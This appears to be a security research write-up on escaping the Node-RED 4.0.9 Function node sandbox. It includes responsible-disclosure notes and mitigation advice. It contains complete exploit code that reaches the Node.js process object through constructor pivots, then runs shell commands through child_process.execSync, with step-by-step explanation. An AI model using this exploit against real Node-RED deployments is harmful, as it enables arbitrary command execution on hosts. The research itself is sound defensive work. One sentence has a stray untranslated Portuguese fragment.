Flow to Shell: Achieving RCE in Node-RED Through Misconfiguration

Escrito por  Lucas William

With the widespread adoption of workflow automation platforms in corporate environments, these solutions have come to play a critical role in system integration and the processing of sensitive data. In this context, the security of the mechanisms responsible for executing custom code becomes an essential factor.

This study presents a security analysis of Node-RED, focusing on evaluating the isolation mechanism used for executing JavaScript code within the Function Node. The research considers the platform’s use in environments that handle sensitive data and critical systems, where isolation failures may result in significant security impacts.

The analysis was conducted on Node-RED version 4.0.9 and focused on the robustness of the sandbox implemented over the Node.js runtime. Node-RED uses a custom implementation based on Node.js’s native vm module as a containment mechanism for code execution in Function nodes. Through the application of sandbox escaping techniques and the exploitation of constructors and internal Node.js objects, it was possible to demonstrate a breakout of the execution environment isolation.

The results validate the possibility of achieving Remote Code Execution (RCE) on the host system, highlighting relevant risks to platform integrity and reinforcing the need for a critical evaluation of the employed security mechanisms.

What is Node-RED?

According to the official Nodered website, ‘Node-RED is a flow-based development platform designed to simplify integration between systems, APIs, services, and devices through a visual interface. Originally created by IBM and currently maintained by the OpenJS Foundation, Node-RED is widely used in automation, Internet of Things (IoT), service integration, and data orchestration scenarios’

 

The platform is built on top of the Node.js runtime and follows an event-driven model, in which data flows between components called nodes. Each node represents a specific functionality, such as data input, payload transformation, execution of custom logic, or communication with external services, allowing the construction of complex flows in a modular and visual way.


Architecture and operation

The operation of Node-RED is based on flows, which are chains of interconnected nodes. These flows are visually defined through a web editor, where users can drag, configure, and connect nodes in an intuitive way.

In general, a flow is composed of three main types of nodes:

  • Input nodes: responsible for initiating the flow, typically triggered by external events such as HTTP requests, MQTT messages, webhooks, or scheduled events.
  • Processing nodes: perform operations on data in transit, such as validation, transformation, filtering, or execution of custom logic in JavaScript.
  • Output nodes: send the processed data to external destinations, such as APIs, databases, message queues, or internal systems.

Data flows between nodes through an object called msg, which acts as a shared message structure throughout the flow. This object can contain payloads, metadata, and context variables used during execution.

Test environment

The testing environment was created using the official Node-RED repository, including the identification of libraries, dependencies, and technologies used by the platform. This analysis enabled a better understanding of the application architecture and the mechanisms adopted for executing custom JavaScript code.

During the security tests, architectural parallels were identified between Node-RED and the n8n platform. Both allow the execution of custom JavaScript code within workflows and rely on sandbox mechanisms built on top of the Node.js runtime — Node-RED through a customized implementation based on the native vm module, and n8n using the vm2 library.

Despite their different purposes, both approaches present structural isolation limitations. Sandboxes implemented at the JavaScript runtime level may be susceptible to sandbox escaping techniques based on the manipulation of constructors, prototypes, and internal Node.js objects.

Exploration

After deploying Node-RED in the testing environment, the analysis focused on the code execution node, aiming to verify whether the environment was properly isolated. As a starting point, an inject node was created, responsible for triggering the flow execution. It was then connected to a function node, where the JavaScript logic is executed inside the sandbox environment. Finally, a debug node was added to inspect the final execution result and observe the flow behavior.

Initially, a simple expression was created to validate the basic functionality of the function node and observe the application’s behavior during flow execution. The code used was as follows

msg.payload = 2 + 2; return msg;

This test confirmed that the flow was being executed correctly, allowing manipulation of the msg object and sending the result to the subsequent nodes in the flow.

Then, by using the constructor, we were able to perform the same summation operation. Node.js allows access to function constructors.

Next, we explored the use of the function constructor to reproduce the same summation operation. In Node.js, it is possible to dynamically access function constructors, which can introduce risks when not properly controlled in isolated environments.

To test this functionality, we used the following expression in the function node:

msg.payload = node.constructor.constructor('return 1 + 1')(); return msg;

This test demonstrated that, even within the context of the function node, it is still possible to dynamically instantiate functions, which raises important questions about the level of restriction effectively enforced by the sandbox.

More aggressive tests were then conducted with the goal of identifying internal information.

Subsequently, we intensified the tests to identify internal information exposed by the execution environment. By again leveraging access to the function constructor, it was possible to obtain a reference to the global sandbox context.

The code used in the function node was as follows:

const ctx = node.constructor.constructor('return this')();
msg.payload =Object.keys(ctx).slice(0,20);
return msg;

node.constructor.constructor(...) uses the JavaScript function constructor to dynamically create and execute a new function, bypassing normal environment abstractions.

The expression 'return this' returns the global context object available within the function node sandbox.

The result is stored in ctx, which then represents everything accessible within the global scope of that execution environment.

Object.keys(ctx).slice(0, 20) enumerates the first 20 properties of this context, allowing the identification of internally exposed objects and APIs.

Finally, the result is assigned to msg.payload and returned so it can be visualized in the subsequent nodes of the flow.

As a result, it was possible to enumerate several objects available in the execution context:

msg.payload: array[19]
[
  "console",
  "util",
  "Buffer",
  "Date",
  "RED",
  "__node__",
  "context",
  "flow",
  "global",
  "env",
  "setTimeout",
  "clearTimeout",
  "setInterval",
  "clearInterval",
  "promisify",
  "msg",
  "__send__",
  "__done__",
  "results"
]

The exposure of these objects highlights the level of access available within the sandbox, including internal Node-RED references and execution flow control mechanisms, which represents a relevant point in assessing the isolation and attack surface of the environment.

As the objective was to explore potential vulnerabilities, we also attempted to map direct access to the process object, which is typically restricted.

Since the goal was to identify possible isolation failures, we tested direct access to the process object, which represents the main Node.js process and, when exposed, may allow sensitive interactions with the operating system.

To do this, we used the following code in the function node:

const proc = node.constructor.constructor('return process')(); 
msg.payload = proc; 
return msg;

During execution, the environment returned the following error:

ReferenceError: process is not defined

This behavior indicates that the process object is not exposed in the global context of the sandbox, demonstrating that direct access to the Node.js process is blocked.

To make the analysis more efficient, we begin mapping the properties available in the environment after gaining access to the process object. For this, we use the following code in the function node:

const ctx = node.constructor
    .constructor('return this')();

const proc = ctx.Buffer
    .constructor
    .constructor('return process')();

msg.payload = {
    has_mainModule: typeof proc.mainModule,
    has_binding: typeof proc.binding,
    platform: proc.platform,
    arch: proc.arch
};

return msg;

A primeira linha obtém uma referência ao contexto global da sandbox utilizando o construtor de funções, pThe first line obtains a reference to the global sandbox context using the function constructor, allowing access to internally exposed objects.

Next, the code uses ctx.Buffer.constructor.constructor to reach the function constructor again, this time leveraging a legitimate object available in the context (Buffer) as a pivot point.

The expression 'return process' returns the Node.js process object, indicating that, although it is not directly exposed, it can be accessed indirectly.

The msg.payload object is populated with specific process information, used to evaluate the level of access obtained:

  • proc.mainModule indicates access to the main application module.
  • proc.binding allows interaction with internal Node.js bindings, which may enable low-level operations.
  • proc.platform and proc.arch reveal execution environment details, such as the operating system and architecture.

Finally, the result is returned for visualization within the flow.

In this section, the global sandbox context is initially recovered, enabling the use of internally exposed objects. Then, the Buffer object is used as an access point to reach the function constructor again and indirectly obtain a reference to the Node.js process object.

The returned payload confirmed the availability of sensitive runtime components:

msg.payload: Object { has_mainModule: "object", has_binding: "function", platform: "linux", arch: "x64" }

These results indicate access to the application’s main module, internal Node.js bindings, and runtime environment information, such as operating system and architecture.

Escaping the Node-RED Sandbox: RCE on Function Node

After several tests, it was possible to exploit a critical vulnerability in the Node-RED Function node that allows arbitrary code to be executed on the host system.

Exploit:

const ctx = node.constructor.constructor('return this')();
const proc = ctx.Buffer.constructor.constructor('return process')();
const child_process = proc.mainModule.require('child_process');
const result = child_process.execSync('whoami').toString();

msg.payload = {
    status: "RCE Successful",
    output: result.trim(),
    platform: proc.platform,
    arch: proc.arch
};
return msg;

Explaining the exploit in detail:

const ctx = node.constructor.constructor(‘return this’)();

  • node.constructor.constructor accesses the Function class constructor
  • ‘return this’ creates a function that returns the execution context
  • Result: access to the internal sandbox context, exposing objects such as Buffer, console, etc.

const proc = ctx.Buffer.constructor.constructor(‘return process’)();

  • ctx.Buffer.constructor.constructor creates a Function outside the sandbox restrictions
  • ‘return process’ returns the Node.js process object (normally restricted)

const child_process = proc.mainModule.require(‘child_process’);

  • proc.mainModule.require loads internal Node.js modules
  • child_process is the module responsible for executing system commands

const result = child_process.execSync(‘whoami’).toString();

  • execSync() executes shell commands synchronously
  • ‘whoami’ retrieves the current system user (can be replaced with any command)
  • Returns the command output

msg.payload = { status: “RCE Successful”, output: result.trim(), platform: proc.platform, arch: proc.arch }; return msg;

  • Architecture
  • Builds an object containing the execution results
  • result.trim() removes whitespace from the output
  • Adds system information, including:

The tests were performed on the latest available version of Node-RED at the time of the analysis, Node-RED 4.0.9, using the official Docker image nodered/node-red:4.0.9, running on Node.js v20.19.0.

docker run -d -p 1880:1880 --name nodered-test nodered/node-red:4.0.9clear

In this environment, it was possible to confirm the existence of a vulnerability that allows remote code execution (RCE) through the function node, demonstrating a critical failure in sandbox isolation and in the security model adopted by the platform in this version.

Responsible Disclosure

After identifying the problem, we made a responsible report to Node-RED. The maintainers acknowledged the issue and confirmed the risk, explaining that there had already been a discussion in the community about this vulnerability. According to their response, the main current mitigation consists of restricting deployment permissions and preventing untrusted users from executing or creating code nodes.

Furthermore, they indicated that improvements to the default security configuration are being considered for future versions, as shown in the image below.

Conclusion

Research has demonstrated that the Function node isolation mechanism in Node-RED (v4.0.9) contains critical vulnerabilities, allowing Remote Code Execution (RCE) on the host system. The exploitation was enabled by limitations in the native Node.js vm module, which allowed the use of sandbox escaping techniques and access to critical modules such as child_process. This vulnerability allows arbitrary code to be executed outside the expected scope of the Function node, directly compromising the host system. Although Node-RED was not designed to execute untrusted code, the presence of this vector significantly expands the attack surface in scenarios where editor access is exposed or improperly controlled.

In sensitive environments, mitigation relies on implementing infrastructure-level isolation controls, enforcing strict privilege restrictions, and maintaining continuous visibility over executions within Function nodes.

Logo da Hakai.